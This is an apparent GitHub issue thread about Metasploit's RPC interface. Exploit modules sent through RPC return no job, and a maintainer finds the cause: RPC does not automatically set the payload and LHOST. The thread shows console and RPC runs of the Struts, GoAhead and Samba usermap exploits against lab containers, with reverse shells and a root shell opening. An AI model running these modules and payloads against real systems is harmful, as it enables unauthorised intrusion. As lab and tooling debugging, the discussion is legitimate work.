Metasploit-framework: RPC client doesn't run the exploit, msfconsole exploit works perfectly fine

[scmanjarrez]

Steps to reproduce

Using msfrpc:

1. Start msfrpcd:

msfrpcd -P dummypass

1. Log in using msfrpc:
   msfrpc -P dummypass -a 127.0.0.1
2. Execute exploit:
   rpc.call("module.execute", "exploit", "linux/http/goahead_ldpreload", {"RHOSTS" => "10.10.0.9"})
   
   {"job_id"=>nil, "uuid"=>"cmvcfaae"}

---

Using msfconsole:

1. Launch msfconsole:

msfconsole

1. Set up exploit:
   use exploit/multi/http/struts_dmi_exec
2. Set parameters
   set RHOSTS 10.10.0.9
3. Execute
   run
   
   [*] Started reverse TCP handler on 10.10.20.3:4444
   [*] 10.10.0.9:8080 - Uploading exploit to SutFMC.jar, and executing it.
   [*] Sending stage (58147 bytes) to 10.10.0.9
   [*] Meterpreter session 2 opened (10.10.20.3:4444 -> 10.10.0.9:48734) at 2020-09-09 16:11:20 +0000
   meterpreter >

Were you following a specific guide/tutorial or reading documentation?

I have read the following doc: https://blog.ehcgroup.io/wp-content/uploads/2017/08/metasploit-rpc-api-guide-1.pdf, Page 35.

Expected behavior

Should run the exploit and open a meterpreter session.

Current behavior

Doesn't run the exploit.

Metasploit version

Framework: 6.0.5-dev
Console : 6.0.5-dev

Get this with the version command in msfconsole (or git log -1 --pretty=oneline for a source install).

Additional Information

I'm using a preconfigured container in order to run the exploit: https://github.com/vulhub/vulhub/tree/master/struts2/s2-032

[GetRektBoy724]

do you run the msf on windows??

[scmanjarrez]

No, I'm using the container from Ubuntu, sorry for not adding that information.

Distributor ID: Ubuntu
Description:    Ubuntu 18.04.5 LTS
Release:        18.04
Codename:       bionic

Linux laptop 4.15.0-115-generic #116-Ubuntu SMP Wed Aug 26 14:04:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

[scmanjarrez]

Testing other modules in RPC, I came across another exploit that returns job_id nil: exploit/linux/http/goahead_ldpreload

>> rpc.call('module.execute', 'exploit', 'linux/http/goahead_ldpreload', { "RHOSTS" => "10.10.0.18" })
=> {"job_id"=>nil, "uuid"=>"cb7deknx"}

But same exploit in msfconsole works fine:

msf6 exploit(linux/http/goahead_ldpreload) > use exploit/linux/http/goahead_ldpreload
[*] Using configured payload cmd/unix/reverse_stub
msf6 exploit(linux/http/goahead_ldpreload) > set rhosts 10.10.0.18
rhosts => 10.10.0.18
msf6 exploit(linux/http/goahead_ldpreload) > run

[*] Started reverse TCP handler on 10.10.20.3:4444 
[*] Searching 390 paths for an exploitable CGI endpoint...
[+] Exploitable CGI located at /cgi-bin/index
[*] Command shell session 2 opened (10.10.20.3:4444 -> 10.10.0.18:50616) at 2020-09-10 14:36:49 +0000

id
uid=0(root) gid=0(root) groups=0(root)

Victim machine: https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562

[GetRektBoy724]

try to run it without docker...you can install metasploit in your ubuntu without docker
try this https://computingforgeeks.com/how-to-install-metasploit-framework-on-ubuntu-18-04-debian-9/

[GetRektBoy724]

ahh i mean container not docker

[scmanjarrez]

Sorry for late response.
I have installed meetasploit framework on my machine, but same error happens.
Installed version: 6.0.7-dev

[AllenWang2017]

Whether it is solved, I also met.
Installed version: 6.0.8-dev
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.4 LTS"

[GetRektBoy724]

maybe you can try with older version
i use 5.0.101 without any problem

[GetRektBoy724]

also why you run the exploit directly on the rpc ???

[AllenWang2017]

Ok thank you, we're using Python to do MSF, so we're using RPC.

[scmanjarrez]

Yes, I've automated the execution with python rpc client. I'll try an older version. Thank you.

[GetRektBoy724]

ok....a little advice
try the 5.0.101-dev version

[AllenWang2017]

It doesn't seem to work
msf5 > load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User='msf' Pass='msf1'
[] MSGRPC Service: 127.0.0.1 :55553
[] MSGRPC Username: msf
[] MSGRPC Password: msf1
[] Successfully loaded plugin: msgrpc
msf5 > version
Framework: 5.0.101-dev
Console : 5.0.101-dev

python2

!/usr/bin/env python

from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole
client = MsfRpcClient('msf1',port=55553,server='127.0.0.1')
print client.modules.exploits
exploit = client.modules.use('exploit', 'multi/samba/usermap_script')
print exploit.options
exploit["RHOSTS"] = "192.168.87.143"
print exploit.execute()
print(client.sessions.list)

python result
['NTLM::UseNTLMv2', 'SMBDomain', 'NTLM::SendSPN', 'SMBUser', 'SMB::pad_file_level', 'SMBDirect', 'WfsDelay', 'ContextInformationFile', 'WORKSPACE', 'SMB::Native_LM', 'SMB::pipe_read_max_size', 'SMBPass', 'RHOSTS', 'NTLM::SendLM', 'SMB::pipe_read_min_size', 'SMB::pipe_write_max_size', 'CHOST', 'TCP::max_send_size', 'Proxies', 'TCP::send_delay', 'SMB::ChunkSize', 'SSLVersion', 'ConnectTimeout', 'SMB::Native_OS', 'CPORT', 'SMBName', 'SSLVerifyMode', 'SMB::pipe_write_min_size', 'SMB::pad_data_level', 'SMB::obscure_trans_pipe_level', 'NTLM::SendNTLM', 'VERBOSE', 'SSLCipher', 'SSL', 'DisablePayloadHandler', 'NTLM::UseLMKey', 'EnableContextEncoding', 'SMB::pipe_evasion', 'NTLM::UseNTLM2_session', 'RPORT', 'SMB::VerifySignature']
{'job_id': None, 'uuid': 'wxtabyzm'}
{}

msf5 > use multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf5 exploit(multi/samba/usermap_script) > set rhosts 192.168.87.143
rhosts => 192.168.87.143
msf5 exploit(multi/samba/usermap_script) > run

[] Started reverse TCP handler on 192.168.87.100:4444
[] Command shell session 1 opened (192.168.87.100:4444 -> 192.168.87.143:40692) at 2020-09-29 11:27:04 +0800

[AllenWang2017]

rpc call results

rpc.call("module.execute", "auxiliary", "scanner/ssh/ssh_version", {"RHOSTS"=> "127.0.0.1"})
=> {"job_id"=>3, "uuid"=>"LCyYW5JvU8FrNiod3qT1Q1KZ"}
rpc.call("module.execute", "exploit", "multi/samba/usermap_script", {"RHOSTS"=> "192.168.87.143"})
=> {"job_id"=>nil, "uuid"=>"najntbls"}

[GetRektBoy724]

you already spawn the shell session right ??
whats the problem again?
the rpc output from your python script and msfconsole different?

[AllenWang2017]

It seems that the RPC client is not running exploit, but can run auxiliary.

rpc.call("module.execute", "auxiliary", "scanner/ssh/ssh_version", {"RHOSTS"=> "127.0.0.1"})
=> {"job_id"=>3, "uuid"=>"LCyYW5JvU8FrNiod3qT1Q1KZ"}
rpc.call("module.execute", "exploit", "multi/samba/usermap_script", {"RHOSTS"=> "192.168.87.143"})
=> {"job_id"=>nil, "uuid"=>"najntbls"}

[GetRektBoy724]

ohhh ok ok
im going to look at my linux first to check if there any log for rpc

[GetRektBoy724]

The RPC API allows you to perform tasks like manage the database, interact with sessions, and run
modules. There are two methods you can use start the RPC service: the msfrpcd utility and the
msgrpc plugin.

hmmm i see this on docs.rapid7.com
maybe you can try this first https://github.com/DanMcInerney/pymetasploit3

[GetRektBoy724]

what version of python you work for??

[AllenWang2017]

Python 2.7.12 (default, Jul 21 2020, 15:19:50)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.

[timwr]

I think the problem is that not all options are being defaulted when you run the exploit via msfrpc:

First observe msfconsole:

$ ./msfconsole -q
msf6 > use exploit/linux/http/goahead_ldpreload
[*] No payload configured, defaulting to cmd/unix/reverse_stub
msf6 exploit(linux/http/goahead_ldpreload) > run

[-] Exploit failed: One or more options failed to validate: RHOSTS.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/goahead_ldpreload) > set RHOSTS 192.168.13.37
RHOSTS => 192.168.13.37
msf6 exploit(linux/http/goahead_ldpreload) > run

[*] Started reverse TCP handler on 10.0.7.177:4444
[*] Searching 390 paths for an exploitable CGI endpoint...
(exploit executes successfully)

now compare this to msfrpc:

$ ./msfrpc -P msf1 -a 127.0.0.1 -U msf -p 55553 -S
[*] The 'rpc' object holds the RPC client interface
[*] Use rpc.call('group.command') to make RPC calls

>> rpc.call("module.execute", "exploit", "linux/http/goahead_ldpreload", {})
=> {"job_id"=>nil, "uuid"=>"aifsxw6e"}
# This fails because: core: Exploit failed (linux/http/goahead_ldpreload) - Msf::MissingPayloadError A payload has not been selected.

>> rpc.call("module.execute", "exploit", "linux/http/goahead_ldpreload", {"RHOSTS" => "192.168.13.37"})
=> {"job_id"=>nil, "uuid"=>"yqegp6uk"}
# This works on msfconsole, but fails on msfrpc with the same error (no payload).

>> rpc.call("module.execute", "exploit", "linux/http/goahead_ldpreload", {"PAYLOAD" => "cmd/unix/reverse_stub", "RHOSTS" => "192.168.13.37"})
=> {"job_id"=>nil, "uuid"=>"yodkqowh"}
# This fails too, because: Msf::OptionValidateError One or more options failed to validate: LHOST.

>> rpc.call("module.execute", "exploit", "linux/http/goahead_ldpreload", {"PAYLOAD" => "cmd/unix/reverse_stub", "LHOST"=>"127.0.0.1", "RHOSTS" => "192.168.13.37"})
=> {"job_id"=>1, "uuid"=>"wr9owwki"}
# This works!!!

[timwr]

I think the issue is that msfconsole will automatically select a payload, and automatically set, for example, the LHOST if it's not set.
These options need to be set manually when you execute the module via rpc, so the behavior is different.
I'm not sure if (and what) we should fix for this issue.

[AllenWang2017]

thanks， It worked

[scmanjarrez]

Ohh, I see. I'll give a try. Thank you.
But, if it possible to enable verbose output to debug the error? I mean, you just get None id, but no more info about the why it didn't work.
Edit: It works, thanks.

[GetRektBoy724]

thanks， It worked

you can close this issue now